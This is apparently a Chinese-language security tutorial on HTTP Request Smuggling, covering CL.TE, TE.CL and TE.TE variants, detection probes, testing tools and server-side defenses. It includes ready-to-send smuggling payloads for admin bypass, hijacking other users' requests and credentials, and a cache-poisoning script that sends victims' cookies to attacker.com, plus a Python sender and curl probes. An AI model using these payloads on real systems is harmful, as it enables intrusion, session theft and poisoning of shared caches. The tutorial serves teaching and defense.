前言
HTTP Request Smuggling(HTTP 請求走私)是一種針對 HTTP 協定解析差異的攻擊技術。當前端伺服器(如負載平衡器、反向代理)與後端伺服器對於 HTTP 請求邊界的解析方式不一致時,攻擊者可以利用這種差異「走私」惡意請求,繞過安全機制、劫持其他使用者的請求,甚至造成快取投毒等嚴重後果。
本文將深入探討 HTTP Request Smuggling 的原理、攻擊變體、偵測方法以及防禦措施。
1. Request Smuggling 原理
HTTP 請求邊界的判定
HTTP/1.1 協定提供兩種方式來標示請求主體(request body)的長度:
- Content-Length (CL):明確指定請求主體的位元組數
- Transfer-Encoding (TE):使用分塊傳輸編碼(chunked transfer encoding)
當一個 HTTP 請求同時包含這兩個標頭時,不同的伺服器可能會優先採用不同的標頭來判定請求邊界,這就是 Request Smuggling 攻擊的根本原因。
基本概念圖解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| ┌─────────────────┐
│ 攻擊者請求 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 前端伺服器 │ ─── 使用 Content-Length 解析
└────────┬────────┘
│
▼
┌─────────────────┐
│ 後端伺服器 │ ─── 使用 Transfer-Encoding 解析
└─────────────────┘
│
▼
前端與後端看到不同的請求邊界
→ 走私的請求被當作新請求處理
|
RFC 規範
根據 RFC 7230,當請求同時包含 Content-Length 和 Transfer-Encoding 標頭時,應優先使用 Transfer-Encoding。然而,並非所有伺服器都嚴格遵守此規範。
2. CL.TE 與 TE.CL 攻擊
2.1 CL.TE 攻擊
CL.TE 表示前端伺服器使用 Content-Length,而後端伺服器使用 Transfer-Encoding。
攻擊原理
1
2
3
4
5
6
7
8
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
|
在這個範例中:
- 前端伺服器:根據 Content-Length: 13,認為請求主體為
0\r\n\r\nSMUGGLED(13 位元組) - 後端伺服器:根據 Transfer-Encoding: chunked,讀取到
0\r\n\r\n 就認為請求結束,SMUGGLED 被當作下一個請求的開頭
完整的 CL.TE 攻擊範例
1
2
3
4
5
6
7
8
9
10
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: X
|
這個攻擊會讓後端伺服器將 GET /admin HTTP/1.1 視為獨立的新請求。
2.2 TE.CL 攻擊
TE.CL 表示前端伺服器使用 Transfer-Encoding,而後端伺服器使用 Content-Length。
攻擊原理
1
2
3
4
5
6
7
8
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
|
在這個範例中:
- 前端伺服器:根據 Transfer-Encoding: chunked,讀取完整的分塊資料
- 後端伺服器:根據 Content-Length: 3,只讀取
8\r\n,剩餘的 SMUGGLED 被當作下一個請求
完整的 TE.CL 攻擊範例
1
2
3
4
5
6
7
8
9
10
11
12
13
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
|
注意:5c 是十六進位值,代表 92 位元組(走私請求的長度)。
分塊傳輸編碼說明
Chunked Transfer Encoding 格式:
1
2
3
4
5
6
| <chunk size in hex>\r\n
<chunk data>\r\n
<chunk size in hex>\r\n
<chunk data>\r\n
0\r\n
\r\n
|
3. TE.TE 混淆技術
當前端和後端伺服器都支援 Transfer-Encoding 時,攻擊者可以透過混淆 Transfer-Encoding 標頭,使其中一方無法正確解析而回退到 Content-Length。
常見的混淆技術
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
|
實際攻擊範例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
|
在這個範例中,某些伺服器會忽略含有 Transfer-encoding: cow 的標頭,而回退使用 Content-Length。
4. 偵測與利用方法
4.1 時間延遲偵測
偵測 CL.TE 漏洞
1
2
3
4
5
6
7
8
| POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
|
如果伺服器存在 CL.TE 漏洞,後端會等待更多的分塊資料,導致明顯的時間延遲(通常為連線逾時)。
偵測 TE.CL 漏洞
1
2
3
4
5
6
7
8
| POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
|
如果伺服器存在 TE.CL 漏洞,後端會將 X 視為下一個請求的開始,等待更多資料。
4.2 差異回應偵測
發送兩個請求來確認漏洞:
攻擊請求(CL.TE):
1
2
3
4
5
6
7
8
9
10
11
12
| POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
|
正常請求:
1
2
3
4
5
6
| POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
|
如果第二個請求收到 404 回應,表示走私成功。
5. 快取投毒攻擊
HTTP Request Smuggling 可以與 Web 快取結合,造成快取投毒(Cache Poisoning)攻擊。
攻擊原理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| 攻擊者 ─────────────────────────────────────────────────────────────►
│ 1. 發送走私請求,將惡意內容 │
│ 注入到下一個請求的回應中 │
│ │
▼ ▼
┌─────────────┐ ┌─────────────┐
│ 前端/快取 │ │ 後端 │
└─────────────┘ └─────────────┘
│ │
│ 2. 快取儲存被污染的回應 │
▼ │
┌─────────────┐ │
│ 受害者存取 │ ◄────────────────────────────────┘
│ 被污染快取 │ 3. 受害者收到惡意內容
└─────────────┘
|
攻擊範例
1
2
3
4
5
6
7
8
9
10
11
12
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 129
Transfer-Encoding: chunked
0
GET /static/poisoned.js HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/javascript
alert('XSS')
|
當快取伺服器將惡意回應快取後,所有請求 /static/poisoned.js 的使用者都會收到被污染的內容。
快取投毒 + XSS
1
2
3
4
5
6
7
8
9
10
11
12
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 137
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: text/html
<script>document.location='https://attacker.com/?c='+document.cookie</script>
|
6. 請求劫持
6.1 繞過前端安全控制
許多網站使用前端伺服器實施安全控制,如:
透過 Request Smuggling,攻擊者可以繞過這些前端控制。
存取後台管理介面
1
2
3
4
5
6
7
8
9
10
11
12
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Cookie: session=admin_session_token
X-Forwarded-For: 127.0.0.1
|
6.2 劫持其他使用者的請求
這是 Request Smuggling 最危險的利用方式之一。
攻擊流程
- 攻擊者發送走私請求,請求主體不完整
- 下一個正常使用者的請求會被附加到走私請求中
- 攻擊者可以竊取使用者的認證資訊
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 364
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=attacker_session
comment=
|
當下一個使用者發送請求時,其請求會被附加到 comment= 後面,包括 Cookie 等敏感資訊。
6.3 竊取認證憑證
1
2
3
4
5
6
7
8
9
10
11
12
13
| POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 300
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
username=attacker&password=x&next=
|
受害者的登入請求會被附加,攻擊者可以看到 next= 參數後面的完整請求內容。
7. 測試工具與技巧
7.1 Burp Suite
Burp Suite 是測試 HTTP Request Smuggling 最常用的工具。
使用 Burp Repeater
關閉自動更新 Content-Length:
- 在 Repeater 中取消勾選 “Update Content-Length”
手動控制換行符號:
- 使用
\r\n 確保正確的 CRLF 格式 - 點擊
\n 按鈕顯示不可見字元
Burp Scanner
Burp Suite Professional 版本包含自動化的 Request Smuggling 掃描功能:
1
| Scanner → Scan configuration → Issues reported → HTTP request smuggling
|
7.2 HTTP Request Smuggler 擴充套件
安裝 Burp Suite 的 HTTP Request Smuggler 擴充套件:
1
| Extender → BApp Store → HTTP Request Smuggler → Install
|
使用方式:
- 選擇目標請求
- 右鍵 → Extensions → HTTP Request Smuggler → Smuggle probe
7.3 smuggler.py
開源的 Python 工具,專門用於偵測 Request Smuggling 漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 安裝
git clone https://github.com/defparam/smuggler.git
cd smuggler
pip3 install -r requirements.txt
# 基本使用
python3 smuggler.py -u https://target.com/
# 指定方法
python3 smuggler.py -u https://target.com/ -m POST
# 詳細輸出
python3 smuggler.py -u https://target.com/ -v
|
7.4 http-request-smuggling (Nuclei Template)
使用 Nuclei 進行大規模掃描:
1
2
3
4
5
| # 安裝 Nuclei
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
# 執行 HTTP Request Smuggling 相關模板
nuclei -u https://target.com -t http/vulnerabilities/request-smuggling/
|
7.5 curl 手動測試
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 測試 CL.TE
curl -i -s -k -X POST \
-H "Host: target.com" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Content-Length: 6" \
-H "Transfer-Encoding: chunked" \
--data-binary $'0\r\n\r\nG' \
"https://target.com/"
# 使用 --data-raw 發送精確的資料
curl -i -s -k -X POST \
-H "Host: target.com" \
-H "Transfer-Encoding: chunked" \
-H "Content-Length: 4" \
--data-raw $'1\r\nA\r\nX' \
"https://target.com/"
|
7.6 Python 腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| #!/usr/bin/env python3
import socket
import ssl
def send_smuggle_request(host, port, payload, use_ssl=True):
"""發送 HTTP Request Smuggling 測試請求"""
# 建立 socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
if use_ssl:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=host)
sock.connect((host, port))
sock.sendall(payload.encode())
response = b""
try:
while True:
data = sock.recv(4096)
if not data:
break
response += data
except socket.timeout:
pass
sock.close()
return response.decode('utf-8', errors='ignore')
# CL.TE 測試 payload
clte_payload = (
"POST / HTTP/1.1\r\n"
"Host: target.com\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 35\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"GET /admin HTTP/1.1\r\n"
"X-Ignore: X"
)
# 執行測試
response = send_smuggle_request("target.com", 443, clte_payload)
print(response)
|
8. 防禦措施
8.1 伺服器配置
Nginx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # 禁止包含 Transfer-Encoding 和 Content-Length 的請求
if ($http_transfer_encoding ~* "chunked" ) {
set $invalid_te 1;
}
if ($content_length) {
set $invalid_te "${invalid_te}1";
}
if ($invalid_te = "11") {
return 400;
}
# 限制 HTTP 版本
proxy_http_version 1.1;
# 正規化標頭
proxy_set_header Connection "";
|
Apache
1
2
3
4
5
6
7
8
9
| # 拒絕模糊的請求
<IfModule mod_reqtimeout.c>
RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500
</IfModule>
# 使用 mod_security 規則
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" \
"chain,id:1,phase:1,deny,status:400"
SecRule REQUEST_HEADERS:Content-Length "!^$"
|
HAProxy
1
2
3
4
5
6
| frontend http-in
# 拒絕同時包含 CL 和 TE 的請求
http-request deny if { hdr(transfer-encoding) -i chunked } { hdr(content-length) -m found }
# 正規化 Transfer-Encoding
http-request set-header Transfer-Encoding chunked if { hdr(transfer-encoding) -i chunked }
|
8.2 架構層面
- 使用 HTTP/2:HTTP/2 使用二進位框架,從根本上消除了 Request Smuggling 的可能性
1
2
3
4
5
| # Nginx HTTP/2 配置
server {
listen 443 ssl http2;
# ...
}
|
統一前後端軟體:確保所有層級使用相同的 HTTP 解析器
端對端 TLS:避免在中間層終止 TLS 後使用 HTTP/1.1
8.3 應用程式層面
- 驗證請求:在應用程式層驗證請求完整性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| from flask import Flask, request, abort
app = Flask(__name__)
@app.before_request
def check_smuggling():
# 檢查是否同時存在 CL 和 TE
if ('Content-Length' in request.headers and
'Transfer-Encoding' in request.headers):
abort(400, "Invalid request headers")
# 檢查 Transfer-Encoding 是否正規
te = request.headers.get('Transfer-Encoding', '')
if te and te.lower().strip() != 'chunked':
abort(400, "Invalid Transfer-Encoding")
|
- 使用 WAF 規則
1
2
3
4
5
6
7
| # ModSecurity 規則
SecRule REQUEST_HEADERS:Transfer-Encoding "!^chunked$" \
"id:1001,phase:1,deny,status:400,msg:'Invalid Transfer-Encoding'"
SecRule REQUEST_HEADERS:Transfer-Encoding "@rx ." \
"id:1002,phase:1,chain,deny,status:400"
SecRule REQUEST_HEADERS:Content-Length "@rx ."
|
8.4 監控與偵測
- 記錄異常請求
1
2
3
4
5
6
7
8
9
| import logging
def log_suspicious_request(request):
if is_smuggling_attempt(request):
logging.warning(
f"Potential smuggling attempt: {request.remote_addr} "
f"CL={request.headers.get('Content-Length')} "
f"TE={request.headers.get('Transfer-Encoding')}"
)
|
- 設定告警
1
2
3
4
5
6
7
8
9
10
11
| # Prometheus 告警規則
groups:
- name: http_smuggling
rules:
- alert: SuspiciousHTTPRequest
expr: rate(http_smuggling_attempts_total[5m]) > 10
for: 1m
labels:
severity: critical
annotations:
summary: "Potential HTTP Request Smuggling detected"
|
8.5 定期測試
建立定期的安全測試流程:
1
2
3
4
5
6
7
8
9
10
11
12
| #!/bin/bash
# 定期執行 HTTP Request Smuggling 測試
TARGETS=("app1.example.com" "app2.example.com")
for target in "${TARGETS[@]}"; do
echo "Testing $target..."
python3 smuggler.py -u "https://$target/" -q --json >> smuggling_report.json
done
# 發送報告
cat smuggling_report.json | mail -s "HTTP Smuggling Test Report" security@example.com
|
總結
HTTP Request Smuggling 是一種嚴重的 Web 安全漏洞,其危害包括:
防禦重點:
- 升級到 HTTP/2:這是最有效的防禦措施
- 統一 HTTP 解析器:確保前後端使用相同的實作
- 嚴格驗證請求:拒絕模糊或不符合規範的請求
- 定期安全測試:持續監控和測試潛在漏洞
參考資源